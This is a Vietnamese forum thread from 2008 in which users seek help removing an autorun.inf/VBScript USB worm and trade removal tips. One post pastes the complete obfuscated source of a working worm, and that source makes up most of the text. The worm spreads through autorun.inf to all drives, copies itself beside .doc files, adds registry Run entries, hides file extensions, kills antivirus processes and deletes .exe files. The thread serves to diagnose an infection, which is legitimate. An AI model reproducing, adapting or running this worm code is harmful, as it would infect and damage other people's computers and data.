Help: Autorun.inf (wscript.exe win.vbe) - VN-Zoom forum

nohandsome · 07-04-2008, 10:40

Máy em là 1 máy tính nằm trong mạng công ty...Nhưng mấy hôm nay bị dính 1 con autorun co nội dung như sau :

Code:

[AutoRun]
open=wscript.exe win.vbe
shell\open\Command=wscript.exe win.vbe
shell\explore\Command=wscript.exe win.vbe
shell\find\Command=wscript.exe win.vbe

Em đã làm 1 số cách theo hướng dẫn trên mạng nhưng không hiệu quả...Dùng Kaspersky diệt thì khi mở các ổ như C,D,E sẽ báo lỗi không tìm thấy file win.vbe (Vì thực tế đã diệt rồi) ....Nhưng như thế vẫn không triệt để...Vì con này ăn cả vào regestry, con này hóc quá...Hic hic...! Trong ổ còn có 1 con Sleep.vbe nữa.....Bọn này khi quét không báo là virut....Nó cũng như thằng win.vbe nhưng không kill đc...
Mong các bro help em vụ này ....Thanks alot!

tuong_huy_204 · 07-04-2008, 13:57

nếu diệt hết rồi thì bác cứ xóa mấy file autorun.inf ở các ổ đia đi là OK chứ gì (thằng kaspesky có một đặc điểm là thường bỏ lại các file autorun.inf, nên khi mình mở ổ đĩa thì các file này vẫn được kích hoạt, nhưng không tìm thấy file thực thi nên máy báo lỗi), có thể máy đang hiện thuộc tính ẩn nên mình hông thấy mấy file đó, bác vào cmd rùi gõ lệnh "del x:\autorun.inf" trong đó x là các ổ đĩa hiện có, rồi nhấn enter là xong.
trong diẽn đàn có rất nhiều phần mềm giúp lấy lại quyền truy cập registry đóa, bác chịu khó vào mục "visrus" mà tìm nhé.

nohandsome · 07-04-2008, 14:24

Con này không cấm các quyền truy cập Regestry cũng như không anh hưởng tới phần Folder Options ...Nhưng nó rất khó chịu với việc làm nghẽn mạng ...Hoặc làm tăng lưu lượng lưu thông của mạng...VD : bình thường bạn ping chỉ là 18-30ms ...Nhưng khi con này lây lan thì nó sẽ làm cho chỉ số ping tăng thấy rõ : từ 18-30ms ==> 500 - 1500 ms.
Dưới đây là hình chụp đủ bộ của con này :

Các bro xem rồi giúp em với ,...

netvietdung · 07-04-2008, 14:28

xem cái này có giúp được bạn không?

ARTCD125 · 09-04-2008, 10:27

em vào run -> del d:\autorun.inf không được các bác oi
window báo là cannot find del...
các bác giúp em với

trungchanh · 09-04-2008, 13:19

vào chế đô safe mode mà xoá xem thử nhưng đừng sử dụng bằng tay mà dùng các chương trình hỗ trợ

CUBASE · 09-04-2008, 17:24

The Melody · 09-04-2008, 17:39

post mình file win.vbe để xem nó hoạt đọng ra sao, nếu bạn chưa sử lý được mình xẽ giúp

The Melody · 09-04-2008, 18:06

à, nó không có nằm trong ở D hay C gì đâu, thường thì ngụ ở trong system 32 thôi. Loại này bkav diệt đuọc roài mà.

khuongchieu · 09-04-2008, 21:15

chào các bạn các loại máy tính khi bị nhiễm virut trên chi việc
chôn nổi phai rùi sáo và wet bàng bk
ok

ps200 · 21-07-2008, 21:59

đã thử quét bằng Bkav nhưng phát hiện 0 virus

hoanglong3 · 21-07-2008, 22:05

Bạn thử cập nhật kaspersky xem sao

ps200 · 21-07-2008, 22:11

Con này em bị dính mà Bkav kêu không có nè

Code:

rem vbs.rhl

Dim fs,r,ss,w,reg,regpath,dvbs
ddd="Set fs =" &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40) & chr(34) & "Scrip" & chr(116) & "ing.File" & chr(83) & "yste" &chr(109) & chr(79) & "bject" & chr(34) & chr(41)
Execute ddd
rrr="set r =" &chr(119) & "scri" & "pt." &chr(67) & "reate" & "Obj" & chr(101) & "c" & chr(116) & chr(40) & chr(34) & chr(119) & "scri" & "pt." &chr(115) & "he" & chr(108) & chr(108) & chr(34) & chr(41)
Execute rrr
sss="fs." & chr(103) &"etfil" & chr(101) & chr(40) &chr(119) & "scri" & "pt." & "scri" & chr(112) & "tfull" &chr(110) & "ame" & chr(41)
ttt="set dvbs =" & sss
Execute ttt
main() 
On Error Resume Next
sub main()
regtime()
finddrive()
countdrive(ss)
regwrite()
ganranfile(ss)
xunhuan()
end sub   
Function finddrive() 
if dvbs.name="USBDRIVE.dll" then
regwrite()
ganrandisk()
else
r.run (fs.GetSpecialFolder(0)&"\explorer.exe .\")
end if
if dvbs.name<>"autorun.vbs" and dvbs.name<>"USBDRIVE.dll" then
regwrite()
dvbs.delete(true)
end if
ss=Trim("")
Set dc = fs.Drives
For Each d In dc
If d.DriveType = 1 or d.DriveType= 2 and d.IsReady Then 
ss = ss & d.DriveLetter 
end if
Next
ss = StrReverse(LCase(Trim(ss))) 
end Function
Function countdrive(ss)
On Error Resume Next
dim x
For i = 1 To Len(ss) 
x = Mid(ss, i, 1) 
if x="" then
x=Mid(ss, 1, 1)
i=1
end if
Set w = fs.GetDrive(x)
 ganrandiskroot()
Next
end Function
Function ganrandiskroot()
dim c,s,f,vbc,ts,runreg
On Error Resume Next
If w.DriveType=2 or w.DriveType=1 and w.IsReady Then
If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
else
fff=sss & ".copy(" & chr(34) & fs.GetSpecialFolder(1) & "\USBDRIVE.dll" &chr(34) & ")"
Execute fff
Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\USBDRIVE.dll")
f.attributes=f.attributes-f.attributes
If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
else
fff=sss & ".copy(" & chr(34) & "D:\System Volume Information\USBDRIVE.dll" &chr(34) & ")"
Execute fff
if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg", true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"ÎÄ±¾ÎÄ¼þ"& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word ÎÄµµ"& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")
f.attributes=f.attributes+7
end if
end if
end if
If fs.FileExists(w.DriveLetter & ":\autorun.vbs") Then
Set c = fs.opentextfile(w.DriveLetter & ":\autorun.vbs", 1)
vbc = c.readall
If InStr(vbc,"vbs.rhl") <> 0 Then
c.Close
Else
c.Close
Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")
c.delete(true)
fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\autorun.vbs" &chr(34) & ")"
Execute fff
s=Array("2007×Ü½á","ÕâÊÇÊ²Ã´£¿ÄÚÄ»£¡","Î¥¼ÍÈËÔ±","¼ì²é","ºÚÃûµ¥","Ã»ÓÐ·¢³öµÄÇéÊé","Áµ°®µÄÈÕ×Ó£¨ÈÕ¼Ç£©")
Randomize    
i= Int((6 * Rnd) + 1) 
fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\" & s(i) & ".vbs" &chr(34) & ")"
Execute fff
Set b = fs.GetFile(w.DriveLetter & ":\" & s(i) & ".vbs")
b.attributes=b.attributes-b.attributes
Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")
c.attributes=c.attributes+7
If fs.FileExists(w.DriveLetter & ":\vbs.reg") or fs.FileExists(w.DriveLetter & ":\doc.reg") Then
else
if w.DriveLetter="C" then
Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\vbs.reg", true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"ÎÄ±¾ÎÄ¼þ"& chr(34)
ts.close
Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\vbs.reg")
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\doc.reg")
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word ÎÄµµ"& chr(34)
ts.close
Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\doc.reg")
f.attributes=f.attributes+7
else
Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg",true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"ÎÄ±¾ÎÄ¼þ"& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word ÎÄµµ"& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")
f.attributes=f.attributes+7
end if
end if
end if
else
fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\autorun.vbs" &chr(34) & ")"
Execute fff
s=Array("¼ì²é","2007×Ü½á","Î¥¼ÍÈËÔ±","ÕâÊÇÊ²Ã´£¿ÄÚÄ»","ºÚÃûµ¥","Ã»ÓÐ·¢³öµÄÇéÊé","Áµ°®µÄÈÕ×Ó£¨ÈÕ¼Ç£©")
Randomize    
i= Int((6 * Rnd) + 1) 
fff=sss & ".copy(" & chr(34) & w.DriveLetter & ":\" & s(i) & ".vbs" &chr(34) & ")"
Execute fff
Set b = fs.GetFile(w.DriveLetter & ":\" & s(i) & ".vbs")
b.attributes=b.attributes-b.attributes
Set c = fs.GetFile(w.DriveLetter & ":\autorun.vbs")
c.attributes=c.attributes+7
If fs.FileExists(w.DriveLetter & ":\vbs.reg") or fs.FileExists(w.DriveLetter & ":\doc.reg") Then
else
if w.DriveLetter="C" then
Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\vbs.reg", true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"ÎÄ±¾ÎÄ¼þ"& chr(34)
ts.close
Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\vbs.reg")
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(fs.GetSpecialFolder(1) & "\doc.reg")
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word ÎÄµµ"& chr(34)
ts.close
Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\doc.reg")
f.attributes=f.attributes+7
else
Set ts = fs.CreateTextFile(w.DriveLetter & ":\vbs.reg", true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"ÎÄ±¾ÎÄ¼þ"& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\vbs.reg")
f.attributes=f.attributes+7
Set ts = fs.CreateTextFile(w.DriveLetter & ":\doc.reg",true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word ÎÄµµ"& chr(34)
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\doc.reg")
f.attributes=f.attributes+7
end if
end if
end if
If fs.FileExists(w.DriveLetter & ":\autorun.inf") Then
Set c = fs.opentextfile(w.DriveLetter & ":\autorun.inf", 1)
vbc = c.readall
If InStr(vbc,"WScript.exe .\autorun.vbs") <> 0 Then
c.Close
Else
Set f = fs.GetFile(w.DriveLetter & ":\autorun.inf")
f.attributes=f.attributes-f.attributes
Set ts = f.OpenAsTextStream(2,-2)
ts.WriteLine "[AutoRun]" 
ts.WriteLine "open= "
ts.WriteLine ""
ts.WriteLine "shell\open=´ò¿ª(&O) "
ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs" 
ts.WriteLine "shell\open\Default=1 "
ts.close
f.attributes=f.attributes+7
end if
else
Set ts = fs.CreateTextFile(w.DriveLetter & ":\autorun.inf",true)
ts.WriteLine "[AutoRun]" 
ts.WriteLine "open= "
ts.WriteLine ""
ts.WriteLine "shell\open=´ò¿ª(&O) "
ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"
ts.WriteLine "shell\open\Default=1"
ts.close
Set f = fs.GetFile(w.DriveLetter & ":\autorun.inf")
f.attributes=f.attributes+7
End If
end if
end Function
Function regwrite()
On Error Resume Next
dim s
a1="HKE" & "Y_CUR" & "RENT_US" & "ER\Soft" & "ware\Mi" & "croso" & "ft\Win" & "dows\Cur" & "rentV" & "ersion\Exp" & "lorer\Ad" & "vanced\"
a2="HK" & "EY_CLAS" & "SES_RO" & "OT\DLL" & "File\"
a3="HKEY" & "_LOCA" & "L_MACH" & "INE\SOFT" & "WARE\Mi" & "cros" & "oft\Win" & "dows\Cur" & "rentVer" & "sion\poli" & "cies\Expl" & "orer\NoDr" & "iveTypeAutoRun"
a4="HKE" & "Y_CURR" & "ENT_USE" & "R\Softw" & "are\Micr" & "osoft\Wi" & "ndows\Cur" & "rentVersi" & "on\Polici" & "es\Explor" & "er\NoDriveT" & "ypeAutoRun"
a5="HK" & "EY_LO" & "CAL_MA" & "CHINE\Sof" & "tware\Mi" & "croso" & "ft\Wind" & "ows\Curre" & "ntVersi" & "on\Ru" & "n\USBDR" & "IVE.dll"
a6="R.Re" & "gWri" & chr(116) & "e"
a7="HKE" & "Y_CLAS" & "SES_ROO" & "T\VBSF" & "ile\Defau" & "ltIcon\"
set s=fs.GetDrive(fs.GetDriveName(dvbs.path))  
scandoc(fs.GetSpecialFolder(0) & "\Installer")
if reg="wordicon.exe" then
if s="C:" then
if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\doc.reg")
else
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & fs.GetSpecialFolder(1) & "\doc.reg")
end if
else
if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\doc.reg")
else
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & s.DriveLetter & ":\doc.reg")
end if
end if
ppp=a6&Space(2)&chr(34) & a7 & chr(34)&"," &chr(34)&regpath & ",1"&chr(34)
Execute ppp
else
if s="C:" then
if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\vbs.reg")
else
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & fs.GetSpecialFolder(1) & "\vbs.reg")
end if
else
if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & "D:\System Volume Information\vbs.reg")
else
r.run(fs.GetSpecialFolder(1) & "\dllcache\regedit.exe /s" & Space(3) & s.DriveLetter & ":\vbs.reg")
end if
end if
ppp=a6&Space(2)&chr(34) & a7 & chr(34)&"," &chr(34)&fs.GetSpecialFolder(1) & "\shell32.dll,1"&chr(34)
Execute ppp
end if
ppp=a6&Space(2)&chr(34) & a1 & "ShowSuperHidden" &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a1 & "HideFileExt" &chr(34)& "," & "1," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a1 & "Hidden" &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a2 & "ScriptEngine\" &chr(34)& "," & chr(34)&"VBScript" & chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a2 & "ScriptHostEncode\" &chr(34)& "," & chr(34)&"{85131631-480C-11D2-B1F9-00C04F86C324}" & chr(34)
Execute ppp
ppp=a6&Space(1)&chr(34) & a2 & "Shell\Open\Command\" &chr(34)& "," & chr(34)&fs.GetSpecialFolder(1) &"\Wscript.exe" &Space(1)& chr(34) &chr(34) &"%1"&chr(34) & chr(34) &Space(1)& "%*"  & chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a2 & "ShellEx\PropertySheetHandlers\WSHProps\" &chr(34)& "," & chr(34)&"{60254CA5-953B-11CF-8C96-00AA00B8708C}" & chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a3 & chr(34)&"," & "0," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
ppp=a6&Space(2)&chr(34) & a4 & chr(34)&"," & "0," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
if fs.FileExists("D:\System Volume Information\USBDRIVE.dll") Then
ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34)
Execute ppp
else
ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)&fs.GetSpecialFolder(1)&"\USBDR" & "IVE.dll" & chr(34)
Execute ppp
end if
if day(date())="27" then
msgbox "Ð¡Ñù£¡ÄãµÄÉ±š±Èí¼þ¸ÃÉý¼¶ÁË£¬´ÅÅÌÒÑ±»¸ñÊ½»¯"
End If
end Function
Function scandoc(a)
On Error Resume Next
dim files,file,subfolder,folder_
set folder_=fs.getfolder(a) 
set files=folder_.files 
for each file in files
if file.name ="wordicon.exe" then
reg=file.name
regpath=file.path
exit Function
end if
next
set subfolders=folder_.subfolders 
for each subfolder in subfolders 
scandoc(subfolder) 
next 
end Function
Function regtime()
a6="R.Re" & "gWri" & chr(116) & "e"
a8="HKE"&"Y_CUR" & "RENT_US" & "ER\Soft" & "ware\Micr" & "osoft\Win" & "dows Scr" & "ipting Ho" & "st\Settin" & "gs\Timeout"
ppp=a6&Space(2)&chr(34) & a8 &chr(34)& "," & "0," & chr(34)&"REG_DWORD"&chr(34)
Execute ppp
dim NameorPID
kill=Array("RavMon.exe","RavTask.exe","RavStub.exe","RavMond.exe","RsAgent.exe","SOUNDMAN.exe")
for i=0 to 5
KillProcess(kill(i))
next
end Function
Function ganranfile(aa)
On Error Resume Next
dim x
For i = 1 To Len(aa) 
x = Mid(aa, i, 1) 
if x="" then
x=Mid(aa, 1, 1)
i=1
end if
Set x = fs.GetDrive(x)
if x.IsReady then
scan(x)
else
xunhuan()
end if
Next
end Function
Function scan(x)
On Error Resume Next
dim files,file,subfolder,folder_
set folder_=fs.getfolder(x) 
set files=folder_.files 
for each file in files
s=file.path
ext=fs.GetExtensionName(file) 
ext=lcase(ext) 
if ext="doc" then 
fff=sss & ".copy("&chr(34) & mid(s,1,len(s)-3) & "vbs" &chr(34) & ")"
Execute fff
Set f = fs.GetFile( mid(s,1,len(s)-3) & "vbs")
f.attributes=f.attributes-f.attributes
end if 
next 
set subfolders=folder_.subfolders 
for each subfolder in subfolders 
scan(subfolder) 
next 
end Function
Function ganrandisk() 
On Error Resume Next
regwrite()
dim doc, d, s, coun,w,h,oo
  Set doc = fs.Drives
for each k in doc
if k.IsReady then
h=h & k.DriveLetter
end if
next
t1=len(Trim(h))
coun=doc.count
do while coun>0
oo=h & w
clearinfo(oo)
wscript.sleep 50
Set d = fs.Drives
if d.count>coun then
for each k in d
if k.IsReady then
s=s & k.DriveLetter
end if
next
coun=d.count
t= StrReverse(LCase(Trim(s))) 
w=mid(t,1,abs(len(t)-t1))
countdrive(w)
s=trim("")
t1=len(t)
end if
if d.count<coun then
for each k in d
if k.IsReady then
s=s & k.DriveLetter
end if
next
coun=d.count
t= StrReverse(LCase(Trim(s))) 
s=trim("")
t1=len(t)
end if
loop
end Function
Function xunhuan()
On Error Resume Next
dim sfo
set sfo=fs.GetDrive(fs.GetDriveName(dvbs.path)) 
if dvbs.name="autorun.vbs" or dvbs.name="USBDRIVE.dll" then
if sfo.DriveType=2 then 
ganrandisk() 
else
wscript.quit
end if
else
dvbs.delete(true)
end if
end Function

Function clearinfo(oo)
On Error Resume Next
dim dc,z
oo =LCase(Trim(oo))
For m = 1 To Len(oo) 
z = Mid(oo, m, 1) 
Set z = fs.GetDrive(z)
findinf(z)
v=Array(z.DriveLetter & ":\recycled",z.DriveLetter & ":\System Volume Information")
for i= 0 to 1
scanexe(v(i))
next
next
vir=array(fs.GetSpecialFolder(1)& "\recycled",fs.GetSpecialFolder(2),fs.GetSpecialFolder(0)&"\system")
for i=0 to 2
scanexe(vir(i))
next
end Function 
Function scanexe(a)
wscript.sleep 100
On Error Resume Next
dim files,file,folder_
if fs.FolderExists(a) then
set folder_=fs.getfolder(a) 
set files=folder_.files 
for each file in files
ext=fs.GetExtensionName(file) 
ext=lcase(ext) 
if ext="exe" then 
Set f = fs.GetFile(file)
f.delete(true)
end if 
next 
set subfolders=folder_.subfolders 
for each subfolder in subfolders 
scanexe(subfolder) 
next 
end if
end Function
Function findinf(z)
On Error Resume Next
If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
else
fff=sss & ".copy(" & chr(34) & fs.GetSpecialFolder(1) & "\USBDRIVE.dll" &chr(34) & ")"
Execute fff
Set f = fs.GetFile(fs.GetSpecialFolder(1) & "\USBDRIVE.dll")
f.attributes=f.attributes-f.attributes
If fs.FileExists(fs.GetSpecialFolder(1) & "\USBDRIVE.dll") Then
else
ppp=a6&Space(2)&chr(34) & a5 &chr(34)& "," & chr(34)& "D:\System Volume Information" & "\USBDR" & "IVE.dll" & chr(34)
Execute ppp
end if
end if
If fs.FileExists(z.DriveLetter & ":\autorun.vbs") Then
else
fff=sss & ".copy(" & chr(34) & z.DriveLetter & ":\autorun.vbs" &chr(34) & ")"
Execute fff
Set f = fs.GetFile(z.DriveLetter & ":\autorun.vbs")
f.attributes=f.attributes+7
end if
If fs.FileExists(z.DriveLetter & ":\autorun.inf") Then
Set c = fs.opentextfile(z.DriveLetter & ":\autorun.inf", 1)
vbc = c.readall
If InStr(vbc,"WScript.exe .\autorun.vbs") <> 0 Then
c.Close
Else
Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf")
f.attributes=f.attributes-f.attributes
Set ts = f.OpenAsTextStream(2,-2)
ts.WriteLine "[AutoRun]" 
ts.WriteLine "open= "
ts.WriteLine ""
ts.WriteLine "shell\open=´ò¿ª(&O) "
ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs" 
ts.WriteLine "shell\open\Default=1 "
ts.close
f.attributes=f.attributes+7
end if
else
Set ts = fs.CreateTextFile(z.DriveLetter & ":\autorun.inf",true)
ts.WriteLine "[AutoRun]" 
ts.WriteLine "open= "
ts.WriteLine ""
ts.WriteLine "shell\open=´ò¿ª(&O) "
ts.WriteLine "shell\open\Command=WScript.exe .\autorun.vbs"
ts.WriteLine "shell\open\Default=1"
ts.close
Set f = fs.GetFile(z.DriveLetter & ":\autorun.inf")
f.attributes=f.attributes+7
End If
if fs.FileExists(z.DriveLetter & ":\vbs.reg") then
else
Set ts = fs.CreateTextFile(z.DriveLetter & ":\vbs.reg", true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"ÎÄ±¾ÎÄ¼þ"& chr(34)
ts.close
Set f = fs.GetFile(z.DriveLetter & ":\vbs.reg")
f.attributes=f.attributes+7
end if
if fs.FileExists(z.DriveLetter & ":\doc.reg") then
else
Set ts = fs.CreateTextFile(z.DriveLetter & ":\doc.reg",true)
ts.WriteLine "Windows Registry Editor Version 5.00"
ts.WriteLine "[HKEY_CURRENT_USER\Software\Microsoft\Windows\ShellNoRoam\MUICache]"
ts.WriteLine chr(34) & chr(64) & "C:\\WINDOWS\\System32\\wshext.dll,-4802"&chr(34) & "=" & chr(34)&"Microsoft Word ÎÄµµ"& chr(34)
ts.close
Set f = fs.GetFile(z.DriveLetter & ":\doc.reg")
f.attributes=f.attributes+7
end if
end Function

Function KillProcess(NameorPID)
On Error Resume Next
    Dim oWMI, oProcs, oProc, strSQL
    KillProcess = False
    strSQL = "SELECT * FROM Win32_Process"
    If NameOrPID <> "" Then
        If IsNumeric(NameOrPID) Then
            strSQL = strSQL & " WHERE Handle = '" & NameorPID & "'"
        Else
            strSQL = strSQL & " WHERE Name = '" & NameorPID & "'"
        End If
    End If
    Set oWMI = GetObject("winmgmts:\\.\root\cimv2")
    Set oProcs = oWMI.ExecQuery(strSQL)
    For Each oProc In oProcs
        If IsNumeric(NameOrPID) Then
            oProc.Terminate
            KillProcess = True
        Else
       if day(date())="27" then
       set killfile=fs.getfile( oProc.ExecutablePath)
killfile.delete(true)
        End If
oProc.Terminate
end if
    Next
    Set oProc = Nothing
    Set oProcs = Nothing
    Set oWMI = Nothing
End Function

hangphuoctru · 21-07-2008, 22:14

ban dung thu phan mem AVG 7.5 (co update ngay moi nhat) coi co diet duoc ko?

tienvipbecon · 22-07-2008, 11:40

dùng KIS 8 scan coi đc hem
hông đc thì repair máy bằng đĩa Win rùi cài KIS 8 để phòng ngừa sau nài

07-04-2008, 10:40	#1
nohandsome Gà Con Tham gia: Dec 2007 Bài: 2 VZD: 286 Điểm: 0/0 bài viết	Help: Autorun.inf (wscript.exe win.vbe) Máy em là 1 máy tính nằm trong mạng công ty...Nhưng mấy hôm nay bị dính 1 con autorun co nội dung như sau : Code: [AutoRun] open=wscript.exe win.vbe shell\open\Command=wscript.exe win.vbe shell\explore\Command=wscript.exe win.vbe shell\find\Command=wscript.exe win.vbe Em đã làm 1 số cách theo hướng dẫn trên mạng nhưng không hiệu quả...Dùng Kaspersky diệt thì khi mở các ổ như C,D,E sẽ báo lỗi không tìm thấy file win.vbe (Vì thực tế đã diệt rồi) ....Nhưng như thế vẫn không triệt để...Vì con này ăn cả vào regestry, con này hóc quá...Hic hic...! Trong ổ còn có 1 con Sleep.vbe nữa.....Bọn này khi quét không báo là virut....Nó cũng như thằng win.vbe nhưng không kill đc... Mong các bro help em vụ này ....Thanks alot!

07-04-2008, 13:57	#2
tuong_huy_204 Búa Đá Tham gia: Feb 2008 Bài: 73 VZD: 945 Điểm: 16/15 bài viết	nếu diệt hết rồi thì bác cứ xóa mấy file autorun.inf ở các ổ đia đi là OK chứ gì (thằng kaspesky có một đặc điểm là thường bỏ lại các file autorun.inf, nên khi mình mở ổ đĩa thì các file này vẫn được kích hoạt, nhưng không tìm thấy file thực thi nên máy báo lỗi), có thể máy đang hiện thuộc tính ẩn nên mình hông thấy mấy file đó, bác vào cmd rùi gõ lệnh "del x:\autorun.inf" trong đó x là các ổ đĩa hiện có, rồi nhấn enter là xong. trong diẽn đàn có rất nhiều phần mềm giúp lấy lại quyền truy cập registry đóa, bác chịu khó vào mục "visrus" mà tìm nhé. __________________ "Quyết không yêu để tiền uống rựu - Sống cô đơn cho gái thèm chơi" Đời thật là đời, kí tên cũng thật là khó!!!

07-04-2008, 14:24	#3
nohandsome Gà Con Tham gia: Dec 2007 Bài: 2 VZD: 286 Điểm: 0/0 bài viết	Con này không cấm các quyền truy cập Regestry cũng như không anh hưởng tới phần Folder Options ...Nhưng nó rất khó chịu với việc làm nghẽn mạng ...Hoặc làm tăng lưu lượng lưu thông của mạng...VD : bình thường bạn ping chỉ là 18-30ms ...Nhưng khi con này lây lan thì nó sẽ làm cho chỉ số ping tăng thấy rõ : từ 18-30ms ==> 500 - 1500 ms. Dưới đây là hình chụp đủ bộ của con này : Các bro xem rồi giúp em với ,... thay đổi nội dung bởi: nohandsome, 07-04-2008 lúc 14:27.

07-04-2008, 14:28	#4
